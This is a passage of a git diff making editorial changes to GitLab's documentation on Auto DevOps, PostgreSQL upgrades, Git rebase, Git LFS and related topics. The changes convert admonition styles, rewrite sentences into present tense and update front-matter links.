To learn more, see [Secret Detection](../../user/application_security/secret_detection/index.md).
@@ -179,9 +179,7 @@ To learn more, see [Secret Detection](../../user/application_security/secret_det
> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7.
-Dependency Scanning uses the
-[Dependency Scanning Docker image](https://gitlab.com/gitlab-org/security-products/dependency-scanning)
-to run analysis on the project dependencies and check for potential security issues.
+Dependency Scanning runs analysis on the project's dependencies and checks for potential security issues.
The Auto Dependency Scanning stage is skipped on licenses other than
[Ultimate](https://about.gitlab.com/pricing/) and requires
[GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above.
@@ -254,7 +252,7 @@ In GitLab 11.4 and later, [local Tiller](https://gitlab.com/gitlab-org/gitlab-fo
used. Previous versions of GitLab had a Tiller installed in the project
namespace.
-CAUTION: **Caution:**
+WARNING:
Your apps should *not* be manipulated outside of Helm (using Kubernetes directly).
This can cause confusion with Helm not detecting the change and subsequent
deploys with Auto DevOps can undo your changes. Also, if you change something
@@ -288,7 +286,7 @@ see the documentation.
To use a custom target instead of the auto-deployed review apps,
set a `DAST_WEBSITE` environment variable to the URL for DAST to scan.
-DANGER: **Warning:**
+WARNING:
If [DAST Full Scan](../../user/application_security/dast/index.md#full-scan) is
enabled, GitLab strongly advises **not**
to set `DAST_WEBSITE` to any staging or production environment. DAST Full Scan
@@ -373,7 +371,7 @@ In GitLab 11.4 and later, a
used. Previous versions of GitLab had a Tiller installed in the project
namespace.
-CAUTION: **Caution:**
+WARNING:
Your apps should *not* be manipulated outside of Helm (using Kubernetes directly).
This can cause confusion with Helm not detecting the change and subsequent
deploys with Auto DevOps can undo your changes. Also, if you change something
@@ -387,16 +385,16 @@ in the first place, and thus not realize that it needs to re-apply the old confi
[GitLab Deploy Tokens](../../user/project/deploy_tokens/index.md#gitlab-deploy-token)
are created for internal and private projects when Auto DevOps is enabled, and the
Auto DevOps settings are saved. You can use a Deploy Token for permanent access to
-the registry. After you manually revoke the GitLab Deploy Token, it won't be
+the registry. After you manually revoke the GitLab Deploy Token, it isn't
automatically created.
If the GitLab Deploy Token can't be found, `CI_REGISTRY_PASSWORD` is
used.
-NOTE: **Note:**
-`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes will be able
-to successfully pull the container image during deployment, but if the image must
-be pulled again, such as after pod eviction, Kubernetes will fail to do so
+NOTE:
+`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes can
+successfully pull the container image during deployment, but if the image must
+be pulled again, such as after pod eviction, Kubernetes cannot do so
as it attempts to fetch the image using `CI_REGISTRY_PASSWORD`.
### Kubernetes 1.16+
@@ -405,7 +403,7 @@ as it attempts to fetch the image using `CI_REGISTRY_PASSWORD`.
> - Support for deploying a PostgreSQL version that supports Kubernetes 1.16+ was [introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/merge_requests/49) in GitLab 12.9.
> - Supported out of the box for new deployments as of GitLab 13.0.
-CAUTION: **Deprecation:**
+WARNING:
The default value for the `deploymentApiVersion` setting was changed from
`extensions/v1beta` to `apps/v1` in [GitLab 13.0](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/issues/47).
@@ -431,7 +429,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster:
1. If you are deploying your application for the first time and are using
GitLab 12.9 or 12.10, set `AUTO_DEVOPS_POSTGRES_CHANNEL` to `2`.
-DANGER: **Warning:**
+WARNING:
On GitLab 12.9 and 12.10, opting into
`AUTO_DEVOPS_POSTGRES_CHANNEL` version `2` deletes the version `1` PostgreSQL
database. Follow the [guide to upgrading PostgreSQL](upgrading_postgresql.md)
@@ -455,7 +453,7 @@ initialization completes, GitLab deploys a second release with the application
deployment as normal.
Note that a post-install hook means that if any deploy succeeds,
-`DB_INITIALIZE` won't be processed thereafter.
+`DB_INITIALIZE` isn't processed thereafter.
If present, `DB_MIGRATE` is run as a shell command within an application pod as
a Helm pre-upgrade hook.
@@ -492,7 +490,7 @@ the standard health checks, which expect a successful HTTP response on port
the [`sidekiq_alive` gem](https://rubygems.org/gems/sidekiq_alive).
To work with Sidekiq, you must also ensure your deployments have
-access to a Redis instance. Auto DevOps won't deploy this instance for you, so
+access to a Redis instance. Auto DevOps doesn't deploy this instance for you, so
you must:
- Maintain your own Redis instance.
@@ -531,7 +529,7 @@ and accept traffic to and from any source. You can use
[NetworkPolicy](https://kubernetes.io/docs/concepts/services-networking/network-policies/)
to restrict connections to and from selected pods, namespaces, and the Internet.
-NOTE: **Note:**
+NOTE:
You must use a Kubernetes network plugin that implements support for
`NetworkPolicy`. The default network plugin for Kubernetes (`kubenet`)
[does not implement](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/#kubenet)
@@ -623,7 +621,7 @@ may require commands to be wrapped as follows:
Some of the reasons you may need to wrap commands:
- Attaching using `kubectl exec`.
-- Using GitLab's [Web Terminal](../../ci/environments/index.md#web-terminals).
+- Using the GitLab [Web Terminal](../../ci/environments/index.md#web-terminals).
For example, to start a Rails console from the application root directory, run:
diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
index 16536e5b586..c45390e935d 100644
--- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
+++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -73,7 +73,9 @@ please proceed with the following upgrade guide. Otherwise, you can skip this pr
#### Kubernetes 1.16+
-The v2 auto-deploy-image also drops support for Kubernetes 1.15 and lower.
+The v2 auto-deploy-image drops support for Kubernetes 1.15 and lower. If you need to upgrade your
+Kubernetes cluster, follow your cloud provider's instructions. Here's
+[an example on GKE](https://cloud.google.com/kubernetes-engine/docs/how-to/upgrading-a-cluster).
#### Helm 3
@@ -114,6 +116,12 @@ If your Auto DevOps project has an active environment that was deployed with the
`kubectl apply -f $backup`.
1. Remove the `MIGRATE_HELM_2TO3` variable.
+#### In-Cluster PostgreSQL Channel 2
+
+The v2 auto-deploy-image drops support for [legacy in-cluster PostgreSQL](upgrading_postgresql.md).
+If your Kubernetes cluster still depends on it, [upgrade and migrate your data](upgrading_postgresql.md)
+with the [v1 auto-deploy-image](#use-a-specific-version-of-auto-deploy-dependencies).
+
#### Traffic routing change for canary deployments and incremental rollouts
> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/merge_requests/109) in GitLab 13.4.
@@ -176,7 +184,7 @@ include:
- remote: https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
```
-CAUTION: **Warning:**
+WARNING:
Using a beta or unstable `auto-deploy-image` could cause unrecoverable damage to
your environments. Do not test it with important projects or environments.
diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md
index e4fb84d4509..2162969b53e 100644
--- a/doc/topics/autodevops/upgrading_chart.md
+++ b/doc/topics/autodevops/upgrading_chart.md
@@ -3,3 +3,6 @@ redirect_to: 'upgrading_auto_deploy_dependencies.md'
---
This document was moved to [another location](upgrading_auto_deploy_dependencies.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md
index a3c9f562f5e..55432ad61fa 100644
--- a/doc/topics/autodevops/upgrading_postgresql.md
+++ b/doc/topics/autodevops/upgrading_postgresql.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Upgrading PostgreSQL for Auto DevOps
@@ -36,7 +36,7 @@ involves:
any existing channel 1 database. For more information, see
[Detected an existing PostgreSQL database](index.md#detected-an-existing-postgresql-database).
-TIP: **Tip:**
+NOTE:
If you have configured Auto DevOps to have staging,
consider trying out the backup and restore steps on staging first, or
trying this out on a review app.
@@ -79,7 +79,7 @@ being modified after the database dump is created.
deployment.extensions/production scaled
```
-1. You also will need to set replicas to zero for workers if you have any.
+1. You must also set replicas to zero for workers if you have any.
## Backup
@@ -112,7 +112,7 @@ being modified after the database dump is created.
- `USERNAME` is the username you have configured for PostgreSQL. The default is `user`.
- `DATABASE_NAME` is usually the environment name.
- - You will be asked for the database password, the default is `testing-password`.
+ - When prompted for the database password, the default is `testing-password`.
```shell
## Format is:
@@ -168,12 +168,12 @@ pvc-9085e3d3-5239-11ea-9c8d-42010a8e0096 8Gi RWO Retain
## Install new PostgreSQL
-CAUTION: **Caution:**
-Using the newer version of PostgreSQL will delete
+WARNING:
+Using the newer version of PostgreSQL deletes
the older 0.7.1 PostgreSQL. To prevent the underlying data from being
deleted, you can choose to retain the [persistent volume](#retain-persistent-volumes).
-TIP: **Tip:**
+NOTE:
You can also
[scope](../../ci/environments/index.md#scoping-environments-with-specs) the
`AUTO_DEVOPS_POSTGRES_CHANNEL`, `AUTO_DEVOPS_POSTGRES_DELETE_V1` and
@@ -196,9 +196,9 @@ higher*. This is the
`XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them.
1. Run a new CI pipeline for the branch. In this case, we run a new CI
pipeline for `master`.
-1. Once the pipeline is successful, your application will now be upgraded
- with the new PostgreSQL installed. There will also be zero replicas
- which means no traffic will be served for your application (to prevent
+1. After the pipeline is successful, your application is upgraded
+ with the new PostgreSQL installed. Zero replicas exist at this time, so
+ no traffic is served for your application (to prevent
new data from coming in).
## Restore
@@ -226,7 +226,7 @@ higher*. This is the
1. Once connected to the pod, run the following command to restore the database.
- - You will be asked for the database password, the default is `testing-password`.
+ - When asked for the database password, the default is `testing-password`.
- `USERNAME` is the username you have configured for PostgreSQL. The default is `user`.
- `DATABASE_NAME` is usually the environment name.
diff --git a/doc/topics/cron/index.md b/doc/topics/cron/index.md
index 2be579b4e98..5abcc5e1eb1 100644
--- a/doc/topics/cron/index.md
+++ b/doc/topics/cron/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Cron
diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md
index 762eddbc130..c9fb81600d4 100644
--- a/doc/topics/git/feature_branch_development.md
+++ b/doc/topics/git/feature_branch_development.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: how-tos
---
@@ -15,7 +15,7 @@ Once work on the development branch is complete, then the feature branch can be
GitLab frequently implements this process whenever there is an MVC that requires multiple MRs.
-## Use case: GitLab's release posts
+## Use case: GitLab release posts
This section describes the use case with GitLab [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/).
Dozens of GitLab team members contribute to each monthly release post.
diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md
index c01080400ac..6a4608223b4 100644
--- a/doc/topics/git/git_rebase.md
+++ b/doc/topics/git/git_rebase.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: concepts, howto
description: "Introduction to Git rebase, force-push, and resolving merge conflicts through the command line."
---
@@ -24,7 +24,7 @@ Git. There are the following rebase options:
### Before rebasing
-CAUTION: **Warning:**
+WARNING:
`git rebase` rewrites the commit history. It **can be harmful** to do it in
shared branches. It can cause complex and hard to resolve merge conflicts. In
these cases, instead of rebasing your branch against the default branch,
@@ -129,7 +129,7 @@ message, squash (join multiple commits into one), edit, or delete
commits. It is handy for changing past commit messages,
as well as for organizing the commit history of your branch to keep it clean.
-TIP: **Tip:**
+NOTE:
If you want to keep the default branch commit history clean, you don't need to
manually squash all your commits before merging every merge request;
with [Squash and Merge](../../user/project/merge_requests/squash_and_merge.md)
@@ -263,7 +263,7 @@ To fix conflicts locally, you can use the following method:
git rebase --continue
```
- CAUTION: **Caution:**
+ WARNING:
Up to this point, you can run `git rebase --abort` to stop the process.
Git aborts the rebase and rolls back the branch to the state you had before
running `git rebase`.
diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md
index 1eea49d8ffe..5979cad1c0e 100644
--- a/doc/topics/git/how_to_install_git/index.md
+++ b/doc/topics/git/how_to_install_git/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'This article describes how to install Git on macOS, Ubuntu Linux and Windows.'
type: howto
---
diff --git a/doc/topics/git/index.md b/doc/topics/git/index.md
index cb2d7b74522..cc4e546a244 100644
--- a/doc/topics/git/index.md
+++ b/doc/topics/git/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: index
---
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index 80014358230..f6e0cdee2cf 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs/index.html'
---
@@ -43,7 +43,7 @@ Documentation for GitLab instance administrators is under [LFS administration do
- Git LFS always assumes HTTPS so if you have GitLab server on HTTP you will have
to add the URL to Git configuration manually (see [troubleshooting](#troubleshooting))
-NOTE: **Note:**
+NOTE:
With 8.12 GitLab added LFS support to SSH. The Git LFS communication
still goes over HTTP, but now the SSH client passes the correct credentials
to the Git LFS client, so no action is required by the user.
@@ -120,7 +120,7 @@ See the documentation on [File Locking](../../../user/project/file_lock.md).
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives).
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Prior to GitLab 13.5, [project source
@@ -219,7 +219,7 @@ git config --add lfs.url "http://gitlab.example.com/group/project.git/info/lfs"
### Credentials are always required when pushing an object
-NOTE: **Note:**
+NOTE:
With 8.12 GitLab added LFS support to SSH. The Git LFS communication
still goes over HTTP, but now the SSH client passes the correct credentials
to the Git LFS client, so no action is required by the user.
diff --git a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
index d65d52841aa..30be9c42f01 100644
--- a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
+++ b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md
@@ -1,13 +1,13 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
# Migration guide from Git Annex to Git LFS
-DANGER: **Deprecated:**
+WARNING:
Git Annex support [has been removed](https://gitlab.com/gitlab-org/gitlab/-/issues/1648) in GitLab Enterprise
Edition 9.0 (2017/03/22).
@@ -32,7 +32,7 @@ ones that GitLab developed.
- Git Annex requires a more complex setup, but has much more options than Git
LFS. You can compare the commands each one offers by running `man git-annex`
and `man git-lfs`.
-- Annex files cannot be browsed directly in GitLab's interface, whereas LFS
+- Annex files cannot be browsed directly in the GitLab interface, whereas LFS
files can.
## Migration steps
@@ -82,7 +82,7 @@ Here you'll find a guide on
Since Annex files are stored as objects with symlinks and cannot be directly
modified, we need to first remove those symlinks.
-NOTE: **Note:**
+NOTE:
Make sure the you read about the [`direct` mode](https://git-annex.branchable.com/direct_mode/) as it contains
useful information that may fit in your use case. Note that `annex direct` is
deprecated in Git Annex version 6, so you may need to upgrade your repository
@@ -216,7 +216,7 @@ GitLab.com), therefore, you don't need to do anything server-side.
After the migration finishes successfully, you can remove all `git-annex`
related branches from your repository.
-On GitLab, navigate to your project's **Repository âž” Branches** and delete all
+On GitLab, navigate to your project's **Repository > Branches** and delete all
branches created by Git Annex: `git-annex`, and all under `synced/`.
![repository branches](img/git-annex-branches.png)
diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md
index 596b2cb400f..941fc281e4c 100644
--- a/doc/topics/git/lfs/migrate_to_git_lfs.md
+++ b/doc/topics/git/lfs/migrate_to_git_lfs.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "How to migrate an existing Git repository to Git LFS with BFG."
---
@@ -10,9 +10,8 @@ description: "How to migrate an existing Git repository to Git LFS with BFG."
Using Git LFS can help you to reduce the size of your Git
repository and improve its performance.
-However, simply adding the
-large files that are already in your repository to Git LFS,
-will not actually reduce the size of your repository because
+However, simply adding the large files that are already in your repository to Git LFS
+doesn't actually reduce the size of your repository because
the files are still referenced by previous commits.
Through the method described on this document, first migrate
@@ -26,7 +25,7 @@ This tutorial was inspired by the guide
For more information on Git LFS, see the [references](#references)
below.
-CAUTION: **Warning:**
+WARNING:
The method described on this guide rewrites Git history. Make
sure to back up your repository before beginning and use it at your
own risk.
@@ -41,7 +40,7 @@ Before beginning, make sure:
Branches based on the repository before applying this method cannot be merged.
Branches based on the repo before applying this method cannot be merged.
-To follow this tutorial, you'll need:
+To follow this tutorial, you need:
- Maintainer permissions to the existing Git repository
you'd like to migrate to LFS with access through the command line.
@@ -60,7 +59,7 @@ To follow this tutorial, you'll need:
brew install git-lfs
```
-NOTE: **Note:**
+NOTE:
This guide was tested on macOS Mojave.
## Steps
@@ -74,7 +73,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs-
1. Clone `--mirror` the repository:
- Cloning with the mirror flag will create a bare repository.
+ Cloning with the mirror flag creates a bare repository.
This ensures you get all the branches within the repo.
It creates a directory called `<repo-name>.git`
@@ -150,7 +149,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs-
```
Now all existing the files you converted, as well as the new
- ones you add, will be properly tracked with LFS.
+ ones you add, are properly tracked with LFS.
1. [Re-protect the default branch](../../../user/project/protected_branches.md):
@@ -177,8 +176,8 @@ but commented out to help encourage others to add to it in the future. -->
- [Getting Started with Git LFS](https://about.gitlab.com/blog/2017/01/30/getting-started-with-git-lfs-tutorial/)
- [Migrate from Git Annex to Git LFS](migrate_from_git_annex_to_git_lfs.md)
-- [GitLab's Git LFS user documentation](index.md)
-- [GitLab's Git LFS administrator documentation](../../../administration/lfs/index.md)
+- [GitLab Git LFS user documentation](index.md)
+- [GitLab Git LFS administrator documentation](../../../administration/lfs/index.md)
- Alternative method to [migrate an existing repository to Git LFS](https://github.com/git-lfs/git-lfs/wiki/Tutorial#migrating-existing-repository-data-to-lfs)
<!--
diff --git a/doc/topics/git/migrate_to_git_lfs/index.md b/doc/topics/git/migrate_to_git_lfs/index.md
index ff60603ae58..c530fa1dcb1 100644
--- a/doc/topics/git/migrate_to_git_lfs/index.md
+++ b/doc/topics/git/migrate_to_git_lfs/index.md
@@ -3,3 +3,6 @@ redirect_to: '../lfs/migrate_to_git_lfs.md'
---
This document was moved to [another location](../lfs/migrate_to_git_lfs.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
index 77732e0da3e..8fc2259c83e 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
@@ -1,14 +1,14 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
# Numerous undo possibilities in Git
In this tutorial, we will show you different ways of undoing your work in Git, for which
-we will assume you have a basic working knowledge of. Check GitLab's
+we will assume you have a basic working knowledge of. Check the GitLab
[Git documentation](../index.md) for reference.
Also, we will only provide some general information of the commands, which is enough
@@ -421,7 +421,7 @@ GitLab). There is a `git merge --squash` command which does exactly that
(squashes commits on feature-branch to a single commit on target branch
at merge).
-NOTE: **Note:**
+NOTE:
Never modify the commit history of `master` or shared branch.
### How modifying history is done
@@ -457,7 +457,7 @@ pick <commit3-id> <commit3-commit-message>
# Note that empty commits are commented out
```
-NOTE: **Note:**
+NOTE:
It is important to notice that comment from the output clearly states that, if
you decide to abort, then do not just close your editor (as that will in-fact
modify history), but remove all uncommented lines and save.
diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md
index 58fa6d2f112..590a37d0128 100644
--- a/doc/topics/git/partial_clone.md
+++ b/doc/topics/git/partial_clone.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -108,7 +108,7 @@ For more details, see the Git documentation for
## Filter by file path
-CAUTION: **Experimental:**
+WARNING:
Partial Clone using `sparse` filters is experimental, slow, and will
significantly increase Gitaly resource utilization when cloning and fetching.
@@ -169,7 +169,7 @@ For more details, see the Git documentation for
git rev-list --all --quiet --objects --missing=print | wc -l
```
- CAUTION: **IDE and Shell integrations:**
+ WARNING:
Git integrations with `bash`, `zsh`, etc and editors that automatically
show Git status information often run `git fetch` which will fetch the
entire repository. You many need to disable or reconfigure these
diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md
index 523718e4133..aace979004f 100644
--- a/doc/topics/git/troubleshooting_git.md
+++ b/doc/topics/git/troubleshooting_git.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
@@ -51,7 +51,7 @@ There's another option where you can prevent session timeouts by configuring
SSH 'keep alive' either on the client or on the server (if you are a GitLab
admin and have access to the server).
-NOTE: **Note:**
+NOTE:
Configuring *both* the client and the server is unnecessary.
**To configure SSH on the client side**:
@@ -165,7 +165,7 @@ fatal: index-pack failed
This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, the solution will be to set `http.postBuffer` to `524288000` so that the request only starts buffering after the first 524288000 bytes.
-NOTE: **Note:**
+NOTE:
The default value of `http.postBuffer`, 1 MiB, is applied if the setting is not configured.
```shell
diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md
index 0bf6075a1ea..6b4d1e06c2c 100644
--- a/doc/topics/git/useful_git_commands.md
+++ b/doc/topics/git/useful_git_commands.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md
index 32676658bff..292e35922d6 100644
--- a/doc/topics/gitlab_flow.md
+++ b/doc/topics/gitlab_flow.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/gitlab_flow.html'
---
@@ -151,7 +151,7 @@ In GitLab, you can do this when merging.
Removing finished branches ensures that the list of branches shows only work in progress.
It also ensures that if someone reopens the issue, they can use the same branch name without causing problems.
-NOTE: **Note:**
+NOTE:
When you reopen an issue you need to create a new merge request.
![Remove checkbox for branch in merge requests](img/gitlab_flow_remove_checkbox.png)
@@ -173,7 +173,7 @@ For example, the issue title "As an administrator, I want to remove users withou
When you are ready to code, create a branch for the issue from the `master` branch.
This branch is the place for any work related to this change.
-NOTE: **Note:**
+NOTE:
The name of a branch might be dictated by organizational standards.
When you are done or want to discuss the code, open a merge request.
@@ -224,12 +224,12 @@ Not only does this rewrite history, but it also loses authorship information.
Rebasing prevents the other authors from being attributed and sharing part of the [`git blame`](https://git-scm.com/docs/git-blame).
If a merge involves many commits, it may seem more difficult to undo.
-You might consider solving this by squashing all the changes into one commit just before merging by using GitLab's [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature.
+You might consider solving this by squashing all the changes into one commit just before merging by using the GitLab [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature.
Fortunately, there is an easy way to undo a merge with all its commits.
The way to do this is by reverting the merge commit.
Preserving this ability to revert a merge is a good reason to always use the "no fast-forward" (`--no-ff`) strategy when you merge manually.
-NOTE: **Note:**
+NOTE:
If you revert a merge commit and then change your mind, revert the revert commit to redo the merge.
Git does not allow you to merge the code again otherwise.
@@ -254,7 +254,7 @@ If you need to use some code that was introduced in `master` after you created t
If your feature branch has a merge conflict, creating a merge commit is a standard way of solving this.
-NOTE: **Note:**
+NOTE:
Sometimes you can use `.gitattributes` to reduce merge conflicts.
For example, you can set your changelog file to use the [union merge driver](https://git-scm.com/docs/gitattributes#gitattributes-union) so that multiple new entries don't conflict with each other.
@@ -268,7 +268,7 @@ One option is to use continuous integration (CI) to merge in `master` at the sta
Another option is to only merge in from well-defined points in time, for example, a tagged release.
You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `master` every day.
-NOTE: **Note:**
+NOTE:
Don't confuse automatic branch testing with continuous integration.
Martin Fowler makes this distinction in [his article about feature branches](https://martinfowler.com/bliki/FeatureBranch.html):
"I've heard people say they are doing CI because they are running builds, perhaps using a CI server, on every branch with every commit.
diff --git a/doc/topics/index.md b/doc/topics/index.md
index 91b1905f1b6..276cb07c250 100644
--- a/doc/topics/index.md
+++ b/doc/topics/index.md
@@ -1,15 +1,15 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Topics
Welcome to Topics! We have organized our content resources into topics
to get you started on areas of your interest. Each topic page
-consists of an index listing all related content. It will guide
-you through better understanding GitLab's concepts
+consists of an index listing all related content. It guides
+you through better understanding GitLab concepts
through our regular docs, and, when available, through articles (guides,
tutorials, technical overviews, blog posts) and videos.
diff --git a/doc/topics/offline/index.md b/doc/topics/offline/index.md
index b40f5e92738..df6e1f9491e 100644
--- a/doc/topics/offline/index.md
+++ b/doc/topics/offline/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
